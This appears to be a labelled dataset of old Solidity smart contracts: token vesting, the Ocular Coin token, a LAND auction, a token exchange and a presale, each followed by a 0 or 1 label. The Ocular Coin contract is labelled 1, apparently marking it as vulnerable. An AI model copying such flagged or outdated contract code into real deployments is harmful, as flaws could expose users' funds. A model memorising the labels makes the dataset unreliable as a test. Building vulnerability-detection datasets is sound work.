tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.11; library SafeMath { function mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal returns (uint) { uint c = a / b; return c; } function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } contract ERC20Basic { uint public totalSupply; function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); event Transfer(address indexed from, address indexed to, uint value); } contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { throw; } _; } function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } function approve(address _spender, uint _value) { if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint value); event MintFinished(); bool public mintingFinished = false; uint public totalSupply = 0; modifier canMint() { if(mintingFinished) throw; _; } function mint(address _to, uint _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { if (paused) throw; _; } modifier whenPaused { if (!paused) throw; _; } function pause() onlyOwner whenNotPaused returns (bool) { paused = true; Pause(); return true; } function unpause() onlyOwner whenPaused returns (bool) { paused = false; Unpause(); return true; } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint _value) whenNotPaused { super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) whenNotPaused { super.transferFrom(_from, _to, _value); } } contract OcularToken is PausableToken, MintableToken { using SafeMath for uint256; string public name = "Ocular Coin"; string public symbol = "OCULR"; uint public decimals = 18; }
1
pragma solidity ^0.4.24; contract Initializable { bool private initialized; bool private initializing; modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool wasInitializing = initializing; initializing = true; initialized = true; _; initializing = wasInitializing; } function isConstructor() private view returns (bool) { uint256 cs; assembly { cs := extcodesize(address) } return cs == 0; } uint256[50] private ______gap; } contract Ownable is Initializable { address private _owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); function initialize(address sender) public initializer { _owner = sender; } function owner() public view returns(address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns(bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(_owner); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[50] private ______gap; } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeERC20 { function safeTransfer(IERC20 _token, address _to, uint256 _value) internal returns (bool) { uint256 prevBalance = _token.balanceOf(address(this)); require(prevBalance >= _value, "Insufficient funds"); bool success = address(_token).call( abi.encodeWithSignature("transfer(address,uint256)", _to, _value) ); if (!success) { return false; } require(prevBalance - _value == _token.balanceOf(address(this)), "Transfer failed"); return true; } function safeTransferFrom( IERC20 _token, address _from, address _to, uint256 _value ) internal returns (bool) { uint256 prevBalance = _token.balanceOf(_from); require(prevBalance >= _value, "Insufficient funds"); require(_token.allowance(_from, address(this)) >= _value, "Insufficient allowance"); bool success = address(_token).call( abi.encodeWithSignature("transferFrom(address,address,uint256)", _from, _to, _value) ); if (!success) { return false; } require(prevBalance - _value == _token.balanceOf(_from), "Transfer failed"); return true; } function safeApprove(IERC20 _token, address _spender, uint256 _value) internal returns (bool) { bool success = address(_token).call( abi.encodeWithSignature("approve(address,uint256)",_spender, _value) ); if (!success) { return false; } require(_token.allowance(address(this), _spender) == _value, "Approve failed"); return true; } function clearApprove(IERC20 _token, address _spender) internal returns (bool) { bool success = safeApprove(_token, _spender, 0); if (!success) { return safeApprove(_token, _spender, 1); } return true; } } contract ITokenConverter { using SafeMath for uint256; function convert( IERC20 _srcToken, IERC20 _destToken, uint256 _srcAmount, uint256 _destAmount ) external returns (uint256); function getExpectedRate(IERC20 _srcToken, IERC20 _destToken, uint256 _srcAmount) public view returns(uint256 expectedRate, uint256 slippageRate); } contract ERC20 is IERC20 { function burn(uint256 _value) public; } contract LANDRegistry { function assignMultipleParcels(int[] x, int[] y, address beneficiary) external; } contract LANDAuctionStorage { uint256 constant public PERCENTAGE_OF_TOKEN_BALANCE = 5; uint256 constant public MAX_DECIMALS = 18; enum Status { created, finished } struct Func { uint256 slope; uint256 base; uint256 limit; } struct Token { uint256 decimals; bool shouldBurnTokens; bool shouldForwardTokens; address forwardTarget; bool isAllowed; } uint256 public conversionFee = 105; uint256 public totalBids = 0; Status public status; uint256 public gasPriceLimit; uint256 public landsLimitPerBid; ERC20 public manaToken; LANDRegistry public landRegistry; ITokenConverter public dex; mapping (address => Token) public tokensAllowed; uint256 public totalManaBurned = 0; uint256 public totalLandsBidded = 0; uint256 public startTime; uint256 public endTime; uint256 public initialPrice; uint256 public endPrice; uint256 public duration; Func[] internal curves; event AuctionCreated( address indexed _caller, uint256 _startTime, uint256 _duration, uint256 _initialPrice, uint256 _endPrice ); event BidConversion( uint256 _bidId, address indexed _token, uint256 _requiredManaAmountToBurn, uint256 _amountOfTokenConverted, uint256 _requiredTokenBalance ); event BidSuccessful( uint256 _bidId, address indexed _beneficiary, address indexed _token, uint256 _pricePerLandInMana, uint256 _manaAmountToBurn, int[] _xs, int[] _ys ); event AuctionFinished( address indexed _caller, uint256 _time, uint256 _pricePerLandInMana ); event TokenBurned( uint256 _bidId, address indexed _token, uint256 _total ); event TokenTransferred( uint256 _bidId, address indexed _token, address indexed _to, uint256 _total ); event LandsLimitPerBidChanged( address indexed _caller, uint256 _oldLandsLimitPerBid, uint256 _landsLimitPerBid ); event GasPriceLimitChanged( address indexed _caller, uint256 _oldGasPriceLimit, uint256 _gasPriceLimit ); event DexChanged( address indexed _caller, address indexed _oldDex, address indexed _dex ); event TokenAllowed( address indexed _caller, address indexed _address, uint256 _decimals, bool _shouldBurnTokens, bool _shouldForwardTokens, address indexed _forwardTarget ); event TokenDisabled( address indexed _caller, address indexed _address ); event ConversionFeeChanged( address indexed _caller, uint256 _oldConversionFee, uint256 _conversionFee ); } contract LANDAuction is Ownable, LANDAuctionStorage { using SafeMath for uint256; using Address for address; using SafeERC20 for ERC20; constructor( uint256[] _xPoints, uint256[] _yPoints, uint256 _startTime, uint256 _landsLimitPerBid, uint256 _gasPriceLimit, ERC20 _manaToken, LANDRegistry _landRegistry, address _dex ) public { require( PERCENTAGE_OF_TOKEN_BALANCE == 5, "Balance of tokens required should be equal to 5%" ); Ownable.initialize(msg.sender); require(_startTime > block.timestamp, "Started time should be after now"); startTime = _startTime; require( address(_landRegistry).isContract(), "The LANDRegistry token address must be a deployed contract" ); landRegistry = _landRegistry; setDex(_dex); allowToken( address(_manaToken), 18, true, false, address(0) ); manaToken = _manaToken; duration = _xPoints[_xPoints.length - 1]; require(duration > 1 days, "The duration should be greater than 1 day"); _setCurve(_xPoints, _yPoints); setLandsLimitPerBid(_landsLimitPerBid); setGasPriceLimit(_gasPriceLimit); status = Status.created; emit AuctionCreated( msg.sender, startTime, duration, initialPrice, endPrice ); } function bid( int[] _xs, int[] _ys, address _beneficiary, ERC20 _fromToken ) external { _validateBidParameters( _xs, _ys, _beneficiary, _fromToken ); uint256 bidId = _getBidId(); uint256 bidPriceInMana = _xs.length.mul(getCurrentPrice()); uint256 manaAmountToBurn = bidPriceInMana; if (address(_fromToken) != address(manaToken)) { require( address(dex).isContract(), "Paying with other tokens has been disabled" ); manaAmountToBurn = _convertSafe(bidId, _fromToken, bidPriceInMana); } else { require( _fromToken.safeTransferFrom(msg.sender, address(this), bidPriceInMana), "Insuficient balance or unauthorized amount (transferFrom failed)" ); } _processFunds(bidId, _fromToken); landRegistry.assignMultipleParcels(_xs, _ys, _beneficiary); emit BidSuccessful( bidId, _beneficiary, _fromToken, getCurrentPrice(), manaAmountToBurn, _xs, _ys ); _updateStats(_xs.length, manaAmountToBurn); } function _validateBidParameters( int[] _xs, int[] _ys, address _beneficiary, ERC20 _fromToken ) internal view { require(startTime <= block.timestamp, "The auction has not started"); require( status == Status.created && block.timestamp.sub(startTime) <= duration, "The auction has finished" ); require(tx.gasprice <= gasPriceLimit, "Gas price limit exceeded"); require(_beneficiary != address(0), "The beneficiary could not be the 0 address"); require(_xs.length > 0, "You should bid for at least one LAND"); require(_xs.length <= landsLimitPerBid, "LAND limit exceeded"); require(_xs.length == _ys.length, "X values length should be equal to Y values length"); require(tokensAllowed[address(_fromToken)].isAllowed, "Token not allowed"); for (uint256 i = 0; i < _xs.length; i++) { require( -150 <= _xs[i] && _xs[i] <= 150 && -150 <= _ys[i] && _ys[i] <= 150, "The coordinates should be inside bounds -150 & 150" ); } } function getCurrentPrice() public view returns (uint256) { if (startTime == 0 || startTime >= block.timestamp) { return initialPrice; } uint256 timePassed = block.timestamp - startTime; if (timePassed >= duration) { return endPrice; } return _getPrice(timePassed); } function _convertSafe( uint256 _bidId, ERC20 _fromToken, uint256 _bidPriceInMana ) internal returns (uint256 requiredManaAmountToBurn) { requiredManaAmountToBurn = _bidPriceInMana; Token memory fromToken = tokensAllowed[address(_fromToken)]; uint256 bidPriceInManaPlusSafetyMargin = _bidPriceInMana.mul(conversionFee).div(100); uint256 tokenRate = getRate(manaToken, _fromToken, bidPriceInManaPlusSafetyMargin); uint256 requiredTokenBalance = 0; if (fromToken.shouldBurnTokens || fromToken.shouldForwardTokens) { requiredTokenBalance = _calculateRequiredTokenBalance(requiredManaAmountToBurn, tokenRate); requiredManaAmountToBurn = _calculateRequiredManaAmount(_bidPriceInMana); } uint256 tokensToConvertPlusSafetyMargin = bidPriceInManaPlusSafetyMargin .mul(tokenRate) .div(10 ** 18); if (MAX_DECIMALS > fromToken.decimals) { requiredTokenBalance = _normalizeDecimals( fromToken.decimals, requiredTokenBalance ); tokensToConvertPlusSafetyMargin = _normalizeDecimals( fromToken.decimals, tokensToConvertPlusSafetyMargin ); } require( _fromToken.safeTransferFrom(msg.sender, address(this), tokensToConvertPlusSafetyMargin), "Transfering the totalPrice in token to LANDAuction contract failed" ); uint256 finalTokensToConvert = tokensToConvertPlusSafetyMargin.sub(requiredTokenBalance); require(_fromToken.safeApprove(address(dex), finalTokensToConvert), "Error approve"); uint256 change = dex.convert( _fromToken, manaToken, finalTokensToConvert, requiredManaAmountToBurn ); if (change > 0) { require( _fromToken.safeTransfer(msg.sender, change), "Transfering the change to sender failed" ); } require(_fromToken.clearApprove(address(dex)), "Error clear approval"); emit BidConversion( _bidId, address(_fromToken), requiredManaAmountToBurn, tokensToConvertPlusSafetyMargin.sub(change), requiredTokenBalance ); } function getRate( IERC20 _srcToken, IERC20 _destToken, uint256 _srcAmount ) public view returns (uint256 rate) { (rate,) = dex.getExpectedRate(_srcToken, _destToken, _srcAmount); } function _calculateRequiredTokenBalance( uint256 _totalPrice, uint256 _tokenRate ) internal pure returns (uint256) { return _totalPrice.mul(_tokenRate) .div(10 ** 18) .mul(PERCENTAGE_OF_TOKEN_BALANCE) .div(100); } function _calculateRequiredManaAmount( uint256 _totalPrice ) internal pure returns (uint256) { return _totalPrice.mul(100 - PERCENTAGE_OF_TOKEN_BALANCE).div(100); } function _processFunds(uint256 _bidId, ERC20 _token) internal { _burnTokens(_bidId, manaToken); Token memory token = tokensAllowed[address(_token)]; if (_token != manaToken) { if (token.shouldBurnTokens) { _burnTokens(_bidId, _token); } if (token.shouldForwardTokens) { _forwardTokens(_bidId, token.forwardTarget, _token); } } } function _getPrice(uint256 _time) internal view returns (uint256) { for (uint256 i = 0; i < curves.length; i++) { Func storage func = curves[i]; if (_time < func.limit) { return func.base.sub(func.slope.mul(_time)); } } revert("Invalid time"); } function _burnTokens(uint256 _bidId, ERC20 _token) private { uint256 balance = _token.balanceOf(address(this)); require(balance > 0, "Balance to burn should be > 0"); _token.burn(balance); emit TokenBurned(_bidId, address(_token), balance); balance = _token.balanceOf(address(this)); require(balance == 0, "Burn token failed"); } function _forwardTokens(uint256 _bidId, address _address, ERC20 _token) private { uint256 balance = _token.balanceOf(address(this)); require(balance > 0, "Balance to burn should be > 0"); _token.safeTransfer(_address, balance); emit TokenTransferred( _bidId, address(_token), _address,balance ); balance = _token.balanceOf(address(this)); require(balance == 0, "Transfer token failed"); } function setConversionFee(uint256 _fee) external onlyOwner { require(_fee < 200 && _fee >= 100, "Conversion fee should be >= 100 and < 200"); emit ConversionFeeChanged(msg.sender, conversionFee, _fee); conversionFee = _fee; } function finishAuction() public onlyOwner { require(status != Status.finished, "The auction is finished"); uint256 currentPrice = getCurrentPrice(); status = Status.finished; endTime = block.timestamp; emit AuctionFinished(msg.sender, block.timestamp, currentPrice); } function setLandsLimitPerBid(uint256 _landsLimitPerBid) public onlyOwner { require(_landsLimitPerBid > 0, "The LAND limit should be greater than 0"); emit LandsLimitPerBidChanged(msg.sender, landsLimitPerBid, _landsLimitPerBid); landsLimitPerBid = _landsLimitPerBid; } function setGasPriceLimit(uint256 _gasPriceLimit) public onlyOwner { require(_gasPriceLimit > 0, "The gas price should be greater than 0"); emit GasPriceLimitChanged(msg.sender, gasPriceLimit, _gasPriceLimit); gasPriceLimit = _gasPriceLimit; } function setDex(address _dex) public onlyOwner { require(_dex != address(dex), "The dex is the current"); if (_dex != address(0)) { require(_dex.isContract(), "The dex address must be a deployed contract"); } emit DexChanged(msg.sender, dex, _dex); dex = ITokenConverter(_dex); } function allowToken( address _address, uint256 _decimals, bool _shouldBurnTokens, bool _shouldForwardTokens, address _forwardTarget ) public onlyOwner { require( _address.isContract(), "Tokens allowed should be a deployed ERC20 contract" ); require( _decimals > 0 && _decimals <= MAX_DECIMALS, "Decimals should be greather than 0 and less or equal to 18" ); require( !(_shouldBurnTokens && _shouldForwardTokens), "The token should be either burned or transferred" ); require( !_shouldForwardTokens || (_shouldForwardTokens && _forwardTarget != address(0)), "The token should be transferred to a deployed contract" ); require( _forwardTarget != address(this) && _forwardTarget != _address, "The forward target should be different from this contract and the erc20 token" ); require(!tokensAllowed[_address].isAllowed, "The ERC20 token is already allowed"); tokensAllowed[_address] = Token({ decimals: _decimals, shouldBurnTokens: _shouldBurnTokens, shouldForwardTokens: _shouldForwardTokens, forwardTarget: _forwardTarget, isAllowed: true }); emit TokenAllowed( msg.sender, _address, _decimals, _shouldBurnTokens, _shouldForwardTokens, _forwardTarget ); } function disableToken(address _address) public onlyOwner { require( tokensAllowed[_address].isAllowed, "The ERC20 token is already disabled" ); delete tokensAllowed[_address]; emit TokenDisabled(msg.sender, _address); } function _setCurve(uint256[] _xPoints, uint256[] _yPoints) internal { uint256 pointsLength = _xPoints.length; require(pointsLength == _yPoints.length, "Points should have the same length"); for (uint256 i = 0; i < pointsLength - 1; i++) { uint256 x1 = _xPoints[i]; uint256 x2 = _xPoints[i + 1]; uint256 y1 = _yPoints[i]; uint256 y2 = _yPoints[i + 1]; require(x1 < x2, "X points should increase"); require(y1 > y2, "Y points should decrease"); (uint256 base, uint256 slope) = _getFunc( x1, x2, y1, y2 ); curves.push(Func({ base: base, slope: slope, limit: x2 })); } initialPrice = _yPoints[0]; endPrice = _yPoints[pointsLength - 1]; } function _getFunc( uint256 _x1, uint256 _x2, uint256 _y1, uint256 _y2 ) internal pure returns (uint256 base, uint256 slope) { base = ((_x2.mul(_y1)).sub(_x1.mul(_y2))).div(_x2.sub(_x1)); slope = (_y1.sub(_y2)).div(_x2.sub(_x1)); } function _getBidId() private view returns (uint256) { return totalBids; } function _normalizeDecimals( uint256 _decimals, uint256 _value ) internal pure returns (uint256 _result) { _result = _value.div(10**MAX_DECIMALS.sub(_decimals)); } function _updateStats(uint256 _landsBidded, uint256 _manaAmountBurned) private { totalBids = totalBids.add(1); totalLandsBidded = totalLandsBidded.add(_landsBidded); totalManaBurned = totalManaBurned.add(_manaAmountBurned); } }
0
pragma solidity ^0.4.19; contract Token { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); uint8 public decimals; } contract Exchange { struct Order { address creator; address token; bool buy; uint price; uint amount; } address public owner; uint public feeDeposit = 500; mapping (uint => Order) orders; uint currentOrderId = 0; mapping (address => mapping (address => uint)) public balanceOf; event FundTransfer(address backer, uint amount, bool isContribution); event PlaceSell(address indexed token, address indexed user, uint price, uint amount, uint id); event PlaceBuy(address indexed token, address indexed user, uint price, uint amount, uint id); event FillOrder(uint indexed id, address indexed user, uint amount); event CancelOrder(uint indexed id); event Deposit(address indexed token, address indexed user, uint amount); event Withdraw(address indexed token, address indexed user, uint amount); event BalanceChanged(address indexed token, address indexed user, uint value); modifier onlyOwner { if (msg.sender != owner) revert(); _; } function transferOwnership(address newOwner) external onlyOwner { owner = newOwner; } function Exchange() public { owner = msg.sender; } function safeAdd(uint a, uint b) private pure returns (uint) { uint c = a + b; assert(c >= a); return c; } function safeSub(uint a, uint b) private pure returns (uint) { assert(b <= a); return a - b; } function safeMul(uint a, uint b) private pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; assert(c / a == b); return c; } function decFeeDeposit(uint delta) external onlyOwner { feeDeposit = safeSub(feeDeposit, delta); } function calcAmountEther(address tokenAddr, uint price, uint amount) private view returns (uint) { uint k = 10; k = k ** Token(tokenAddr).decimals(); return safeMul(amount, price) / k; } function balanceAdd(address tokenAddr, address user, uint amount) private { balanceOf[tokenAddr][user] = safeAdd(balanceOf[tokenAddr][user], amount); } function balanceSub(address tokenAddr, address user, uint amount) private { require(balanceOf[tokenAddr][user] >= amount); balanceOf[tokenAddr][user] = safeSub(balanceOf[tokenAddr][user], amount); } function placeBuy(address tokenAddr, uint price, uint amount) external { require(price > 0 && amount > 0); uint amountEther = calcAmountEther(tokenAddr, price, amount); require(amountEther > 0); balanceSub(0x0, msg.sender, amountEther); BalanceChanged(0x0, msg.sender, balanceOf[0x0][msg.sender]); orders[currentOrderId] = Order({ creator: msg.sender, token: tokenAddr, buy: true, price: price, amount: amount }); PlaceBuy(tokenAddr, msg.sender, price, amount, currentOrderId); currentOrderId++; } function placeSell(address tokenAddr, uint price, uint amount) external { require(price > 0 && amount > 0); uint amountEther = calcAmountEther(tokenAddr, price, amount); require(amountEther > 0); balanceSub(tokenAddr, msg.sender, amount); BalanceChanged(tokenAddr, msg.sender, balanceOf[tokenAddr][msg.sender]); orders[currentOrderId] = Order({ creator: msg.sender, token: tokenAddr, buy: false, price: price, amount: amount }); PlaceSell(tokenAddr, msg.sender, price, amount, currentOrderId); currentOrderId++; } function fillOrder(uint id, uint amount) external { require(id < currentOrderId); require(amount > 0); require(orders[id].creator != msg.sender); require(orders[id].amount >= amount); uint amountEther = calcAmountEther(orders[id].token, orders[id].price, amount); if (orders[id].buy) { balanceSub(orders[id].token, msg.sender, amount); BalanceChanged( orders[id].token, msg.sender, balanceOf[orders[id].token][msg.sender] ); balanceAdd(orders[id].token, orders[id].creator, amount); BalanceChanged( orders[id].token, orders[id].creator, balanceOf[orders[id].token][orders[id].creator] ); balanceAdd(0x0, msg.sender, amountEther); BalanceChanged( 0x0, msg.sender, balanceOf[0x0][msg.sender] ); } else { balanceSub(0x0, msg.sender, amountEther); BalanceChanged( 0x0, msg.sender, balanceOf[0x0][msg.sender] ); balanceAdd(0x0, orders[id].creator, amountEther); BalanceChanged( 0x0, orders[id].creator, balanceOf[0x0][orders[id].creator] ); balanceAdd(orders[id].token, msg.sender, amount); BalanceChanged( orders[id].token, msg.sender, balanceOf[orders[id].token][msg.sender] ); } orders[id].amount -= amount; FillOrder(id, msg.sender, orders[id].amount); } function cancelOrder(uint id) external { require(id < currentOrderId); require(orders[id].creator == msg.sender); require(orders[id].amount > 0); if (orders[id].buy) { uint amountEther = calcAmountEther(orders[id].token, orders[id].price, orders[id].amount); balanceAdd(0x0, msg.sender, amountEther); BalanceChanged(0x0, msg.sender, balanceOf[0x0][msg.sender]); } else { balanceAdd(orders[id].token, msg.sender, orders[id].amount); BalanceChanged(orders[id].token, msg.sender, balanceOf[orders[id].token][msg.sender]); } orders[id].amount = 0; CancelOrder(id); } function () external payable { require(msg.value > 0); uint fee = msg.value * feeDeposit / 10000; require(msg.value > fee); balanceAdd(0x0, owner, fee); uint toAdd = msg.value - fee; balanceAdd(0x0, msg.sender, toAdd); Deposit(0x0, msg.sender, toAdd); BalanceChanged(0x0, msg.sender, balanceOf[0x0][msg.sender]); FundTransfer(msg.sender, toAdd, true); } function depositToken(address tokenAddr, uint amount) external { require(tokenAddr != 0x0); require(amount > 0); Token(tokenAddr).transferFrom(msg.sender, this, amount); balanceAdd(tokenAddr, msg.sender, amount); Deposit(tokenAddr, msg.sender, amount); BalanceChanged(tokenAddr, msg.sender, balanceOf[tokenAddr][msg.sender]); } function withdrawEther(uint amount) external { require(amount > 0); balanceSub(0x0, msg.sender, amount); msg.sender.transfer(amount); Withdraw(0x0, msg.sender, amount); BalanceChanged(0x0, msg.sender, balanceOf[0x0][msg.sender]); FundTransfer(msg.sender, amount, false); } function withdrawToken(address tokenAddr, uint amount) external { require(tokenAddr != 0x0); require(amount > 0); balanceSub(tokenAddr, msg.sender, amount); Token(tokenAddr).transfer(msg.sender, amount); Withdraw(tokenAddr, msg.sender, amount); BalanceChanged(tokenAddr, msg.sender, balanceOf[tokenAddr][msg.sender]); } }
0
pragma solidity ^0.4.13; library SafeMath { function mul(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract Haltable is Ownable { bool public halted; modifier stopInEmergency { require(!halted); _; } modifier onlyInEmergency { require(halted); _; } function halt() external onlyOwner { halted = true; } function unhalt() external onlyOwner onlyInEmergency { halted = false; } } contract ERC20 { uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint balance); function transfer(address _to, uint _value); function transferFrom(address _from, address _to, uint _value); function approve(address _spender, uint _value); function allowance(address _owner, address _spender) constant returns (uint remaining); event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } contract StandardToken is ERC20 { using SafeMath for uint256; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } modifier onlyPayloadSize(uint256 size) { require(msg.data.length >= size + 4); _; } function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } function approve(address _spender, uint _value) { require(_value == 0 || allowed[msg.sender][_spender] == 0); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract LiveStarsToken is StandardToken { string public name = "Live Stars Token"; string public symbol = "LIVE"; uint256 public decimals = 18; uint256 public INITIAL_SUPPLY = 200000000 * 1 ether; function LiveStarsToken() { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } } contract LiveStarsTokenPresale is Haltable { using SafeMath for uint; string public name = "Live Stars Token Presale"; LiveStarsToken public token; address public beneficiary; uint public hardCap; uint public collected; uint public price; uint public purchaseLimit; uint public currentBalance; uint public tokensSold = 0; uint public investorCount = 0; uint public startTime; uint public endTime; event GoalReached(uint amountRaised); event NewContribution(address indexed holder, uint256 tokenAmount, uint256 etherAmount); modifier onlyAfter(uint time) { require(now >= time); _; } modifier onlyBefore(uint time) { require(now <= time); _; } function LiveStarsTokenPresale( uint _hardCapUSD, address _token, address _beneficiary, uint _totalTokens, uint _priceETH, uint _purchaseLimitUSD, uint _startTime, uint _duration ) { hardCap = _hardCapUSD * 1 ether / _priceETH; price = _totalTokens * 1 ether / hardCap; purchaseLimit = _purchaseLimitUSD * 1 ether / _priceETH * price; token = LiveStarsToken(_token); beneficiary = _beneficiary; startTime = _startTime; endTime = _startTime + _duration * 1 hours; } function () payable stopInEmergency{ require(msg.value >= 0.01 * 1 ether); doPurchase(msg.sender); } function withdraw() onlyOwner { require(beneficiary.send(currentBalance)); currentBalance = 0; } function finalWithdraw() onlyOwner onlyAfter(endTime) { if (currentBalance > 0) { require(beneficiary.send(currentBalance)); } token.transfer(beneficiary, token.balanceOf(this)); } function doPurchase(address _owner) private onlyAfter(startTime) onlyBefore(endTime) { assert(collected.add(msg.value) <= hardCap); uint tokens = msg.value * price; assert(token.balanceOf(msg.sender) + tokens <= purchaseLimit); if (token.balanceOf(msg.sender) == 0) investorCount++; collected = collected.add(msg.value); currentBalance = currentBalance.add(msg.value); token.transfer(msg.sender, tokens); tokensSold = tokensSold.add(tokens); NewContribution(_owner, tokens, msg.value); if (collected == hardCap) { GoalReached(hardCap); } } }
0
